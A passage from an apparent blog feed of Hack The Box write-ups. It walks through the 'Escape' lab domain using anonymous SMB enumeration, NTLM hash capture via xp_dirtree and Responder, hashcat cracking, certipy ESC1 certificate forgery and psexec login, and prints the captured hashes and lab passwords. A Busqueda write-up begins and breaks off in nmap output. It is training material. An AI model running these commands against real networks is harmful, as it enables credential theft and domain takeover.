&lt;h3 class="relative group"&gt;LDAP
 &lt;div id="ldap" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I can check if I can scoop some data with some anonymous &lt;code&gt;ldapsearch&lt;/code&gt; queries. I ran &lt;code&gt;ldapsearch -x -H ldap://10.129.19.47 -b &amp;quot;DC=sequel,DC=htb&amp;quot;&lt;/code&gt; but it looks like LDAP requires credentials to correctly bind and server me info. RPC similarly denies me entry when I try a null session - &lt;code&gt;rpcclient -U -N 10.129.19.47&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Interesting how little information I found, I actually double-checked my connection to make sure all is working well. From interesting services on opened ports I didn&amp;rsquo;t yet check MSSQL out. But I don&amp;rsquo;t think there is any anonymous or null authentication for it. Funny how the box name is &amp;ldquo;Escape&amp;rdquo; but I can&amp;rsquo;t &amp;ldquo;Enter&amp;rdquo; it so far.
Wsman and ADWS are similar, they require authentication and creds to be useful.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Foothold
 &lt;div id="foothold" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;I went back on my steps and noticed that I imputed the &lt;code&gt;smbclient&lt;/code&gt; flags incorrectly. Previously I ran &lt;code&gt;smbclient -L -N //10.129.228.253/&lt;/code&gt; but the correct placement is &lt;code&gt;smbclient -N -L //10.129.228.253/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;smbmap -H 10.129.228.253 -u 'anonymous' -p ''&lt;/code&gt; I can see that the only readable shares for me are now IPC and Public. In the Public share we can find a &amp;ldquo;SQL Server Procedures.pdf&amp;rdquo; file with I downloaded to my host. I can&amp;rsquo;t run &lt;code&gt;ls&lt;/code&gt; inside IPC so It seems I have insufficient permissions to properly enumerate it. The pdf holds information about previous incidents in the company related to insecure practices with their SQL servers at their company. From the pdf we got a step-by-step guide how to access the database, command to do so, basic credentials and a number of users mentioned. Also an email so we know the naming structure if it will come to some sort of bruteforcing.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Users:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ryan
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Tom
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Brandon (Brandon.Brown@sequel.com)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Credentials: PublicUser:GuestUserCantWrite1&lt;/p&gt;
&lt;p&gt;The guide mentions to use &lt;code&gt;cmdkey /add:&amp;quot;&amp;lt;serverName&amp;gt;.sequel.htb&amp;quot; /user:&amp;quot;sequel\&amp;lt;username&amp;gt;&amp;quot; /pass:&amp;lt;password&amp;gt;&lt;/code&gt; however this is a windows command. I&amp;rsquo;m fairly certain that I can just plug them into &lt;code&gt;mssqlclient.py&lt;/code&gt; from impacket. &lt;code&gt;impacket-mssqlclient PublicUser:GuestUserCantWrite1@10.129.228.253&lt;/code&gt;.&lt;/p&gt;

&lt;h3 class="relative group"&gt;MSSQL
 &lt;div id="mssql" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I managed to authenticate to the SQL Server. I checked what databases are there with:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SQL (PublicUser guest@master)&amp;gt; SELECT name FROM sys.databases;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;name 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;------ 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;master 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tempdb 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;model 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msdb &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Later, I enumerated the MSSQL with these basic commands:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use a database - &lt;code&gt;USE master&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Show tables - &lt;code&gt;SELECT name FROM master.dbo.sysdatabases&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Access data in tables - &lt;code&gt;SELECT table_name FROM master.INFORMATION_SCHEMA.TABLES&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;But I didn&amp;rsquo;t find anything useful. I went through my other notes and tried to use XP_CMDSHELL, read files and impersonate other users that I found before but all didn&amp;rsquo;t lead to any privilege escalation.
I searched further and with &lt;code&gt;SELECT srvname, isremote FROM sysservers&lt;/code&gt; I found out that there is another SQL server. Judging by the context, this is the original DC Mockup. Sadly &lt;code&gt;EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [DC\SQLMOCK]&lt;/code&gt; shows that my current user has insufficient permissions to query it.&lt;/p&gt;
&lt;p&gt;As there is no one I can impersonate and my user has lacking permissions I will look for some password reuse. I checked with &lt;code&gt;netexec&lt;/code&gt; what PublicUser can do. It showed that it could query LDAP but after trying it out with &lt;code&gt;ldapsearch&lt;/code&gt; It seems that even tho it can correctly authenticate, it&amp;rsquo;s being denied the permission to do so.&lt;/p&gt;
&lt;p&gt;Looking though my other notes for MSSQL I found that there is a way to catch an MSSQL&amp;rsquo;s NTLMv2 hash with &lt;code&gt;responder&lt;/code&gt; so I tried that. I ran &lt;code&gt;responder -i tun0&lt;/code&gt; and then in MSSQL &lt;code&gt;EXEC master..xp_dirtree '\\10.10.15.189\random'&lt;/code&gt; to trick it into authenticating to my host. This worked and I caught the hash.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Loot:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[SMB] NTLMv2-SSP Client : 10.129.228.253
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[SMB] NTLMv2-SSP Username : sequel\sql_svc
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[SMB] NTLMv2-SSP Hash : sql_svc::sequel:2d7a260b829dfd6c:20DBD9BB0FAD204C34040A771E96C595:0101000000000000808D60B351C7DC01C44CDB13A2F20E1600000000020008004B004E005400310001001E00570049004E002D00390033003200570036004B004600550050003900360004003400570049004E002D00390033003200570036004B00460055005000390036002E004B004E00540031002E004C004F00430041004C00030014004B004E00540031002E004C004F00430041004C00050014004B004E00540031002E004C004F00430041004C0007000800808D60B351C7DC0106000400020000000800300030000000000000000000000000300000B3C49F6D23AD7F502D71A2E45F21AB5A0C4CE49C19953B329BBA1A333BE0E0F20A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310035002E003100380039000000000000000000&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I copied the NTLMv2 hash into a file and ran it against rockyou with &lt;code&gt;hashcat sql_svc.hash /usr/share/wordlists/rockyou.txt&lt;/code&gt;.
With that, I cracked it - sql_svc:REGGIE1234ronnie&lt;/p&gt;

&lt;h2 class="relative group"&gt;Privilege Escalation
 &lt;div id="privilege-escalation" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;Now as a sql_svc I want to check what I can authenticate to. I grew a bit tired to running a few separate &lt;code&gt;netexec&lt;/code&gt; commands so I created a simple loop for that:
&lt;code&gt;for p in smb winrm mssql; do netexec $p 10.129.228.253 -u ''sql_svc -p 'REGGIE1234ronnie'; done&lt;/code&gt;
PS: I actually created a small bash script for this, you can find it here :)&lt;/p&gt;
&lt;p&gt;I noticed that - interestingly - sql_svc has access to winrm which I didn&amp;rsquo;t expect. I used &lt;code&gt;evil-winrm&lt;/code&gt; and successfully authenticated into the host. I started to manually enumerate the user&amp;rsquo;s files but I didn&amp;rsquo;t find anything useful there, no creds, not user flag and nothing of note in AppData. I enumerated the user&amp;rsquo;s one the host.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;d----- 2/7/2023 8:58 AM Administrator
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;d-r--- 7/20/2021 12:23 PM Public
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;d----- 2/1/2023 6:37 PM Ryan.Cooper
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;d----- 2/7/2023 8:10 AM sql_svc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Going down into the root directory I saw the &amp;ldquo;SQLServer&amp;rdquo; folder and entered it. I looked around and downloaded any log, config or generally interesting files into my localhost so I can go through them in search of any leaks, mentioned vulnerabilities, custom scripts or software versions.&lt;/p&gt;
&lt;p&gt;One of those files was &lt;code&gt;ERRORLOG.BAK&lt;/code&gt; which after further inspection shows that the user Ryan.Cooper tried but failed to authenticate into the SQL server.
&lt;code&gt;2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]&lt;/code&gt;
Amid this data we can see that the user - likely by accident - inputted their password in clear-text as a username - Ryan.Cooper:NuclearMosquito3&lt;/p&gt;
&lt;p&gt;Similarly to sql_svc i ran &lt;code&gt;netexec&lt;/code&gt; and looked what I can access with the new user. Seeing that I could access the host via winrm I did just that. Looking at the user&amp;rsquo;s files I found the user flag on the Desktop, and begun to look for further privilege escalation vectors. I enumerated the AppData folder, looked for custom scripts, ran &lt;code&gt;whoami /all&lt;/code&gt; and generally did a basic lookup of what I could do as the user.&lt;/p&gt;

&lt;h3 class="relative group"&gt;WinPEAS
 &lt;div id="winpeas" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Not finding any low-hanging fruit, I decided to download and run &lt;code&gt;WinPEAS&lt;/code&gt; as well as enumerate the domain with &lt;code&gt;bloodhound-python&lt;/code&gt; and &lt;code&gt;rusthound&lt;/code&gt;.
Below are some interesting parts of WinPEAS output which I decided to note.





&lt;div
 id="accordion-9267b4eccc134662ca957933418acd43"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
	


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;Promising winPEAS output&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
&gt;
 &lt;path
 fill-rule="evenodd"
 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;ÉÍÍÍÍÍÍÍÍÍÍ¹ Enumerating Named Pipes
 Name CurrentUserPerms Sddl
 eventlog Everyone [Allow: WriteData/CreateFiles] O:LSG:LSD:P(A;;0x12019b;;;WD)(A;;CC;;;OW)(A;;0x12008f;;;S-1-5-80-880578595-1860270145-482643319-2788375705-1540778122)
 MSSQL$SQLMOCK\sql\query Everyone [Allow: WriteData/CreateFiles] O:S-1-5-21-4078382237-1492182817-2568127209-1106G:DUD:(A;;0x12019b;;;WD)(A;;LC;;;S-1-5-21-4078382237-1492182817-2568127209-1106)
 ROUTER Everyone [Allow: WriteData/CreateFiles] O:SYG:SYD:P(A;;0x12019b;;;WD)(A;;0x12019b;;;AN)(A;;FA;;;SY)
 RpcProxy\49689 Everyone [Allow: WriteData/CreateFiles] O:BAG:SYD:(A;;0x12019b;;;WD)(A;;0x12019b;;;AN)(A;;FA;;;BA)
 RpcProxy\593 Everyone [Allow: WriteData/CreateFiles] O:NSG:NSD:(A;;0x12019b;;;WD)(A;;RC;;;OW)(A;;0x12019b;;;AN)(A;;FA;;;S-1-5-80-521322694-906040134-3864710659-1525148216-3451224162)(A;;FA;;;S-1-5-80-979556362-403687129-3954533659-2335141334-1547273080)
 SQLLocal\SQLMOCK Everyone [Allow: WriteData/CreateFiles] O:S-1-5-21-4078382237-1492182817-2568127209-1106G:DUD:(A;;0x12019b;;;WD)(A;;LC;;;S-1-5-21-4078382237-1492182817-2568127209-1106)
 vgauth-service Everyone [Allow: WriteData/CreateFiles] O:BAG:SYD:P(A;;0x12019f;;;WD)(A;;FA;;;SY)(A;;FA;;;BA)
---
MinPasswordLength: 7
---
ÉÍÍÍÍÍÍÍÍÍÍ¹ Autorun Applications
È Check if you can modify other users AutoRuns binaries (Note that is normal that you can modify HKCU registry and binaries indicated there) https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.html
Folder: C:\Users\Ryan.Cooper\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
	FolderPerms: Ryan.Cooper [Allow: AllAccess]
	File: C:\Users\Ryan.Cooper\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini (Unquoted and Space detected) - C:\Users\Ryan.Cooper\AppData\Roaming\Microsoft\Windows
	FilePerms: Ryan.Cooper [Allow: AllAccess]
	Potentially sensitive file content: LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21787
---
If you can modify a template (WriteDacl/WriteOwner/GenericAll), you can abuse ESC4
 Dangerous rights over template: User (Rights: WriteProperty,ExtendedRight)
 Dangerous rights over template: UserSignature (Rights: WriteProperty,ExtendedRight)
 Dangerous rights over template: ClientAuth (Rights: WriteProperty,ExtendedRight)
 Dangerous rights over template: EFS (Rights: WriteProperty,ExtendedRight)
 Dangerous rights over template: UserAuthentication (Rights: WriteProperty,ExtendedRight)
 [*] Tip: Abuse with tools like Certipy (template write -&amp;gt; ESC1 -&amp;gt; enroll).
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-9267b4eccc134662ca957933418acd43 &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-9267b4eccc134662ca957933418acd43 &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-9267b4eccc134662ca957933418acd43 details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-9267b4eccc134662ca957933418acd43 details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-9267b4eccc134662ca957933418acd43");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;

&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The named pipes seen above sounded as a possible priv-esc but from what I gathered if there is no impersonation, SYSTEM/Administrator or &amp;ldquo;Full Control&amp;rdquo; permissions then It likely won&amp;rsquo;t do much.&lt;/li&gt;
&lt;li&gt;I noted that the minimal password length was 7 characters in case of a need to bruteforce.&lt;/li&gt;
&lt;li&gt;I noticed an interesting potentially sensitive file mentioned in an autorun application but similarly to the named pipes, it didn&amp;rsquo;t mention any highly privileged users so it would likely not help much.&lt;/li&gt;
&lt;li&gt;The last part I noted was information about dangerous rights over a few templates (so ADCS) which could be interesting. I had some experience with those and I have a bad habit of forgetting to enumerate this vector with &lt;code&gt;certipy&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I kept a mental note of the aforementioned vectors and judging by my gut feeling of how successful they might be I decided to focus on the ADCS path of attack.&lt;/p&gt;

&lt;h3 class="relative group"&gt;bloodhound-python &amp;amp; rusthound
 &lt;div id="bloodhound-python--rusthound" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Before I did anything tho, I wanted to still look what bloodhound can show me, as I could&amp;rsquo;ve very easily miss some group rights or permissions. Also, it&amp;rsquo;s easy to get data from bloodhound and It will come in handy when creating &lt;code&gt;certipy&lt;/code&gt; commands.&lt;/p&gt;
&lt;p&gt;I run by bloodhound command with &lt;code&gt;bloodhound-python -u Ryan.Cooper -p 'NuclearMosquito3' -d sequel.htb -dc dc.sequel.htb -ns 10.129.228.253 -c all; rusthound-ce -d sequel.htb -u Ryan.Cooper -p 'NuclearMosquito3' --zip -c All --ldaps&lt;/code&gt; getting both general data from &lt;code&gt;bloodhound-python&lt;/code&gt; and some additional certificate data that &lt;code&gt;rusthound&lt;/code&gt; covers and begun to enumerate.&lt;/p&gt;

&lt;h3 class="relative group"&gt;Certipy - ESC1
 &lt;div id="certipy---esc1" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Admittedly, I didn&amp;rsquo;t find anything really useful, no additional paths of escalation. Because of that I decided to go with &lt;code&gt;certipy&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I scanned Ryan&amp;rsquo;s permissions on certificates with &lt;code&gt;certipy find -u Ryan.Cooper@sequel.htb -p NuclearMosquito3 -target-ip 10.129.228.253 -vulnerable -stdout&lt;/code&gt; and from the output I noticed that Ryan.Cooper seems to be vulnerable to ESC1. After double-checking with my notes from Authority, he seems to check all the required boxes for this to work.
Said requirements are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Enrollee Supplies Subject = True&lt;/li&gt;
&lt;li&gt;Client Authentication = True (or a few others)&lt;/li&gt;
&lt;li&gt;&amp;ldquo;User Enrollable Principals&amp;rdquo; showing a group your user is a part of&lt;/li&gt;
&lt;li&gt;Requires Manager Approval = False&lt;/li&gt;
&lt;li&gt;Authorized Signatures Required = 0&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So, I begun to stitch together a &lt;code&gt;certipy&lt;/code&gt; command. I ran &lt;code&gt;-debug&lt;/code&gt; a few times as I never manage to run it correctly on the first try and came back with this one:
&lt;code&gt;certipy req -u 'Ryan.Cooper@sequel.htb' -p 'NuclearMosquito3' -dc-ip '10.129.228.253' -target 'dc.sequel.htb' -ca 'sequel-DC-CA' -template 'UserAuthentication' -upn 'administrator@sequel.htb' -sid 'S-1-5-21-4078382237-1492182817-2568127209-1105' -dc-host dc.sequel.htb -target-ip 10.129.228.253&lt;/code&gt;.
Small rant: My god is certipy&amp;rsquo;s syntax annoying to follow. It feels like I need to repeat the same thing three times in one command.&lt;/p&gt;
&lt;p&gt;Anyway, I got the &lt;code&gt;administrator.pfx&lt;/code&gt; file which is a bundle of a certificate and a private key. I used it to authenticate as an administrator so that I could get a TGT and an NTML hash - &lt;code&gt;certipy auth -pfx administrator.pfx -dc-ip 10.129.228.253&lt;/code&gt;. I also had to fix my time skew so I ran &lt;code&gt;sudo ntpdate 10.129.228.253&lt;/code&gt; and below is the loot:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-Loot" data-lang="Loot"&gt;Loot:
[*] Wrote credential cache to &amp;#39;administrator.ccache&amp;#39;
[*] Trying to retrieve NT hash for &amp;#39;administrator&amp;#39;
[*] Got hash for &amp;#39;administrator@sequel.htb&amp;#39;: aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;With this information the box is really solved. Now I just had to pick a way and a tool to authenticate as an administrator. I decided to use Kerberos as I&amp;rsquo;m a bit less familiar with it than NTLM.&lt;/p&gt;
&lt;p&gt;I checked if I had any other kerberos tickets saved up in my cache as a good practice:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;azaeir@parrot (~): echo $KRB5CCNAME 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;azaeir@parrot (~): klist
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;klist: No credentials cache found (filename: /tmp/krb5cc_1000)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Seeing as there isn&amp;rsquo;t anything there, I added the administrator.ccache that I obtained into my KRB5CCNAME environment variable:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;azaeir@parrot (~): export KRB5CCNAME=administrator.ccache 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;azaeir@parrot (~): echo $KRB5CCNAME 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;administrator.ccache&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And authenticated to the host with &lt;code&gt;psexec.py -k -no-pass sequel.htb/administrator@dc.sequel.htb&lt;/code&gt;. I found the root flag on the Admin&amp;rsquo;s desktop.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Closing Thoughts
 &lt;div id="closing-thoughts" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;Escape is a great machine covering basic network enumeration, intermediate knowledge about MSSQL attack vectors and escalation with ADCS. It doesn&amp;rsquo;t show any niche techniques or obscure vulnerabilities but provides some great fundamental challenges with a seamless and intuitive attack path.&lt;/p&gt;
&lt;p&gt;It was a good box to sharpen some core elements a pentester&amp;rsquo;s methodology, little to know curve-balls which I do appreciate.&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://emilpawlak.codeberg.page/posts/htb/escape/featured.png"/></item><item><title>Busqueda</title><link>https://emilpawlak.codeberg.page/posts/htb/busqueda/</link><pubDate>06.04.2026</pubDate><author>EmilPawlak@protonmail.com (Emil Pawlak)</author><guid>https://emilpawlak.codeberg.page/posts/htb/busqueda/</guid><description>Busqueda introduces a solid code review exercise, working with repositories and custom scripts. It&amp;rsquo;s heavy on careful code enumeration and gradual pivoting granting further access. Very fun and insightful!</description><description>
&lt;h2 class="relative group"&gt;Enumeration
 &lt;div id="enumeration" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;nmap
 &lt;div id="nmap" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I ran my nmap scan and found both HTTP and SSH opened. Given that SSH is likely used later and that we don&amp;rsquo;t have any credentials I checked the website.
When i accessed it I noticed that I got a domain name rather than an IP in my URL - &lt;code&gt;searcher.htb&lt;/code&gt; - I added it into my &lt;code&gt;/etc/hosts&lt;/code&gt;.&lt;/p&gt;





&lt;div
 id="accordion-96cd298941e984b424a7d83ffe4c2d3f"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
 


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;nmap scan results&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
&gt;
 &lt;path
 fill-rule="evenodd"
 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-05 00:09 CEST
Nmap scan report for 10.129.228.217
Host is up (0.028s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/5%OT=22%CT=1%CU=31695%PV=Y%DS=2%DC=I%G=Y%TM=69D18C3B
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=104%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=10F%TI=Z%C
OS:I=Z%II=I%TS=A)SEQ(SP=107%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=F9%GCD
OS:=1%ISR=106%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E2ST11NW7%O2=M4E2ST11NW7%O3=M4E2
OS:NNT11NW7%O4=M4E2ST11NW7%O5=M4E2ST11NW7%O6=M4E2ST11)WIN(W1=FE88%W2=FE88%W
